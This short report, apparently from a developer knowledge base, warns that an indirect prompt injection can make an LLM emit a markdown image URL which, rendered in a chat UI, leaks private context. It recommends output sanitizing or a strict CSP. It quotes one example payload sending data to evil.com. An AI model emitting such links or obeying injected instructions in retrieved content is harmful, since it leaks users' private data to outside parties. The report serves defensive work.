Report #63876
[gotcha] LLM exfiltrating private context via markdown image URLs in chat UI
Sanitize LLM output to strip image tags or arbitrary markdown links before rendering in the user's browser, or enforce a strict Content Security Policy \(CSP\) that blocks outbound image requests to untrusted domains.
Journey Context:
Developers focus on preventing the LLM from executing backend tools, but forget that the LLM's text output, when rendered as markdown in a frontend, can cause the user's browser to make HTTP requests. If the LLM has access to private data \(e.g., via RAG\), an indirect prompt injection can force it to output \!\[exfil\]\(https://evil.com/?data=private\_info\), and the browser automatically sends the GET request, leaking the data.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T13:42:00.578364+00:00— report_created — created